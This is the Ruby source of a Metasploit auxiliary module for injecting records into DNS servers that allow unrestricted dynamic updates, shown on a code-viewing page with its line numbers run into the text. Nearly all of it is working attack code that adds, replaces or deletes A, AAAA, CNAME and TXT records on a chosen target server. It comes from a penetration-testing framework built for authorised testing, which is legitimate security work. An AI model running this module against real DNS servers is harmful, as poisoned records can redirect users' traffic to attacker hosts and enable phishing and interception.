Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/dns/dyn_dns_update.rb
Views: 11783
# -*- coding: binary -*-1##2# This module requires Metasploit: https://metasploit.com/download3# Current source: https://github.com/rapid7/metasploit-framework4##56require 'dnsruby'78class MetasploitModule < Msf::Auxiliary910def initialize11super(12'Name' => 'DNS Server Dynamic Update Record Injection',13'Description' => %q{14This module allows adding and/or deleting a record to15any remote DNS server that allows unrestricted dynamic updates.},16'Author' => [17'King Sabri <king.sabri[at]gmail.com>',18'Brent Cook <brent_cook[at]rapid7.com>'19],20'References' => [21['URL', 'https://www.tenable.com/plugins/nessus/35372'],22['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],23['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],24['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/HostScripts/DNSInject.py']25],26'License' => MSF_LICENSE,27'Actions' => [28['UPDATE', 'Description' => 'Add or update a record. (default)'],29['ADD', 'Description' => 'Add a new record. Fail if it already exists.'],30['DELETE', 'Description' => 'Delete an existing record.']31],32'DefaultAction' => 'UPDATE'33)3435register_options([36OptString.new('DOMAIN', [true, 'The domain name']),37OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),38OptString.new('HOSTNAME', [true, 'The name record you want to add']),39OptAddress.new('IP', [false, 'The IP you want to assign to the record']),40OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),41OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),42OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])43])4445end4647def record_action(type, type_enum, value, action)48# Send the update to the zone's primary master.49domain = datastore['DOMAIN']50fqdn = "#{datastore['HOSTNAME']}.#{domain}"51opts = {nameserver: datastore['RHOST']}52if datastore['CHOST'] && datastore['CHOST'] != ""53if Rex::Socket.is_ipv4?(datastore['CHOST'])54opts[:src_address] = datastore['CHOST']55elsif Rex::Socket.is_ipv6?(datastore['CHOST'])56opts[:src_address6] = datastore['CHOST']57end58end59resolver = Dnsruby::Resolver.new(opts)60update = Dnsruby::Update.new(domain)61updated = false62case63when action == :resolve64begin65answer = resolver.query(fqdn, type)66if (answer.answer.count > 0) then67print_good "Found existing #{type} record for #{fqdn}"68return true69end70return false71rescue Dnsruby::ResolvError, IOError => e72print_good "Did not find an existing #{type} record for #{fqdn}"73vprint_error "Query failed: #{e.message}"74return false75end76when action == :add77print_status("Sending dynamic DNS add message...")78update.absent("#{fqdn}.", type)79update.add("#{fqdn}.", type_enum, 86400, value)80begin81resolver.send_message(update)82print_good "The record '#{fqdn} => #{value}' has been added!"83updated = true84rescue Dnsruby::ResolvError, IOError => e85print_error "Cannot add #{fqdn}"86vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."87vprint_error "Update failed: #{e.message}"88end89when action == :delete90begin91print_status("Sending dynamic DNS delete message...")92update.present(fqdn, type)93update.delete(fqdn, type)94resolver.send_message(update)95print_good("The record '#{fqdn} => #{value}' has been deleted!")96updated = true97rescue Dnsruby::ResolvError, IOError => e98print_error "Cannot delete #{fqdn}"99vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."100vprint_error "Update failed: #{e.message}"101end102end103updated104end105106def update_record(type:, type_enum:, value:, value_name:)107if value.nil? || value == ""108print_error "Record type #{type} requires the #{value_name} parameter to be specified"109return110end111force = datastore['CHOST'] && datastore['CHOST'] != ""112case113when action.name == 'UPDATE'114if force115record_action(type, type_enum, value, :delete)116record_action(type, type_enum, value, :add)117else118if record_action(type, type_enum, value, :resolve)119if record_action(type, type_enum, value, :delete)120record_action(type, type_enum, value, :add)121end122else123record_action(type, type_enum, value, :add)124end125end126when action.name == 'ADD'127if force128record_action(type, type_enum, value, :add)129else130if record_action(type, type_enum, value, :resolve) == false131record_action(type, type_enum, value, :add)132else133print_error "Record already exists, try DELETE or UPDATE"134end135end136when action.name == 'DELETE'137if force138record_action(type, type_enum, value, :delete)139else140if record_action(type, type_enum, value, :resolve)141record_action(type, type_enum, value, :delete)142else143print_error "Record does not exist, not deleting"144end145end146end147end148149def run150ip = datastore['IP']151value = datastore['VALUE']152begin153case154when datastore['TYPE'] == 'A'155update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')156when datastore['TYPE'] == 'AAAA'157update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')158when datastore['TYPE'] == 'CNAME'159update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')160when datastore['TYPE'] == 'TXT'161update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')162else163print_error "Invalid Record Type!"164end165rescue ArgumentError => e166print_error(e.message)167rescue Dnsruby::OtherResolvError168print_error("Connection Refused!")169rescue Dnsruby::DecodeError170print_error("Invalid DNS reply, ensure you are connecting to a DNS server")171end172end173end174175176